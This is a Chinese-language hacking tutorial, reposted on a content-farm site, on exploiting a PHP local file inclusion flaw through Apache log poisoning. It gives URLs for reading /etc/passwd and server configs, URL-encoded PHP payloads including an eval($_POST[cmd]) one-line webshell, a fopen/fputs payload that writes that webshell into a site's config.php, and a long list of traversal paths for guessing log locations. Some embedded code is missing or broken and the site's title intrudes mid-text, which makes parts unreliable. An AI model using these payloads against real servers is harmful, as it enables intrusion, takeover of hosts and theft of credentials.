linux下备份拿shell[渗透必备] -电脑资料

电脑资料 时间:2019-01-01 我要投稿
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    关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行,

linux下备份拿shell[渗透必备]

。当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。

    比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

    //包含变量$zizzy

    你可以

    http://xxx.com/z.php?zizzy=/etc/inetd.conf

    http://xxx.com/z.php?zizzy=/proc/cpuinfo

    http://xxx.com/z.php?zizzy=/etc/passwd

    就可以利用包含语句来查看一些系统环境和密码档文件。

    那么关于日志包含下面我们来看:

    比如我们的Apache的服务器配置文件位置在这里

    /usr/local/apache/conf/httpd.conf

    那么我们来包含一下httpd.conf,来看下路径信息什么的

    http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

    读出Apache的配置信息,这里列出部分信息。

   

    User #3

    Group silver

    ServerAdmin webmaster@xxx.com

    DocumentRoot /home/virtual/www.xxx.com

    ServerName www.xxx.com

    ServerAlias xxx.com

    ErrorLog /home/virtual/www.xxx.com/logs/www-error_log

    CustomLog /home/virtual/www.xxx.com/logs/www-access_log common

    ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/

    Alias /icons/ /home/virtual/www.xxx.com/icons

   

    而我们提交http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

    就可以读出Apache的错误日志记录

    [Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not

    exist: /home/virtual/www.xxx.com/hack.php

    [Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not

    exist: /home/virtual/www.xxx.com/111111111.php

    [Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not

    exist: /home/virtual/www.xxx.com/22222.php3

    [Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke

    directory as script. /home/virtual/www.xxx.com/forum

    [Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke

    directory as script. /home/virtual/www.xxx.com/blog

    [Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke

    directory as script. /home/virtual/www.xxx.com/kkkkkkkk

    而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。

    比如我们提交要提交这句, //查看php的相关信息

    在这里,我们只能提交URL编码模式,因为我在测试中发现,

    在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的,我们提交

    http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E

    这样肯定会报出错找不到页面,而一出错就被记在错误日志里了

    http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

    这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。

    如果可以的话(能够执行系统命令,也就是safe_mode开着的时候),

    这样子也不错,

    //执行命令列出home下的文件列表,记得转换为URL格式哦。

    /home/

    total 9

    -rw-r--r-- 1 www.xxx.com silver 55 Jan 20 23:01 about.php

    drwxrwxrwx 4 www.xxx.com silver 4096 Jan 21 06:07 abc

    -rw-r--r-- 1 www.xxx.com silver 1438 Dec 3 07:39 index.php

    -rwxrwxrwx 1 www.xxx.com silver 5709 Jan 21 20:05 show.php

    -rw-r--r-- 1 www.xxx.com silver 5936 Jan 18 01:37 admin.php

    -rwxrwxrwx 1 www.xxx.com silver 5183 Jan 18 15:30 config.php3

    -rw-rw-rw- 1 www.xxx.com silver 102229 Jan 21 23:18 info.txt

    drwxr-xr-x 2 www.xxx.com silver 4096 Jan 8 16:03 backup

    -rw-r--r-- 1 www.xxx.com silver 7024 Dec 4 03:07 test.php

    这样就列出了home下的文件

    或者直接一句话木马

    这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。

    我们提交

    http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E

    再用lanker的一句话木马客户端一连就OK了。

    因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。

    比如还是这句一句话木马

   

    到这里你也许就想到了,这是个很不错的办法,

电脑资料

linux下备份拿shell[渗透必备]》(http://meiwen.anslib.com)。接着看,如何写入就成了个问题,用这句,

    fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入这个一句话木马服务端语句。连起来表达成php语句就是

    ");

    fclose($fp);?> //在config.php里写入一句木马语句

    我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。

    转换为

    %3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F

    config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp

    %2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B

    fclose%28%24fp%29%3B%3F%3E

    我们提交

    http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww

    %2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp

    %22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B

    cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

    这样就错误日志里就记录下了这行写入webshell的代码。

    我们再来包含日志,提交

    http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

    这样webshell就写入成功了,config.php里就写入一句木马语句

    OK.

    http://www.xxx.com/forum/config.php这个就成了我们的webshell

    直接用lanker的客户端一连,主机就是你的了。

    PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

    其他的日志路径,你可以去猜,也可以参照这里。

    附:收集的一些日志路径

    ../../../../../../../../../../var/log/httpd/access_log

    ../../../../../../../../../../var/log/httpd/error_log

    ../apache/logs/error.log

    ../apache/logs/access.log

    ../../apache/logs/error.log

    ../../apache/logs/access.log

    ../../../apache/logs/error.log

    ../../../apache/logs/access.log

    ../../../../../../../../../../etc/httpd/logs/acces_log

    ../../../../../../../../../../etc/httpd/logs/acces.log

    ../../../../../../../../../../etc/httpd/logs/error_log

    ../../../../../../../../../../etc/httpd/logs/error.log

    ../../../../../../../../../../var/www/logs/access_log

    ../../../../../../../../../../var/www/logs/access.log

    ../../../../../../../../../../usr/local/apache/logs/access_log

    ../../../../../../../../../../usr/local/apache/logs/access.log

    ../../../../../../../../../../var/log/apache/access_log

    ../../../../../../../../../../var/log/apache/access.log

    ../../../../../../../../../../var/log/access_log

    ../../../../../../../../../../var/www/logs/error_log

    ../../../../../../../../../../var/www/logs/error.log

    ../../../../../../../../../../usr/local/apache/logs/error_log

    ../../../../../../../../../../usr/local/apache/logs/error.log

    ../../../../../../../../../../var/log/apache/error_log

    ../../../../../../../../../../var/log/apache/error.log

    ../../../../../../../../../../var/log/access_log

    ../../../../../../../../../../var/log/error_log

    /var/log/httpd/access_log

    /var/log/httpd/error_log

    ../apache/logs/error.log

    ../apache/logs/access.log

    ../../apache/logs/error.log

    ../../apache/logs/access.log

    ../../../apache/logs/error.log

    ../../../apache/logs/access.log

    /etc/httpd/logs/acces_log

    /etc/httpd/logs/acces.log

    /etc/httpd/logs/error_log

    /etc/httpd/logs/error.log

    /var/www/logs/access_log

    /var/www/logs/access.log

    /usr/local/apache/logs/access_log

    /usr/local/apache/logs/access.log

    /var/log/apache/access_log

    /var/log/apache/access.log

    /var/log/access_log

    /var/www/logs/error_log

    /var/www/logs/error.log

    /usr/local/apache/logs/error_log

    /usr/local/apache/logs/error.log

    /var/log/apache/error_log

    /var/log/apache/error.log

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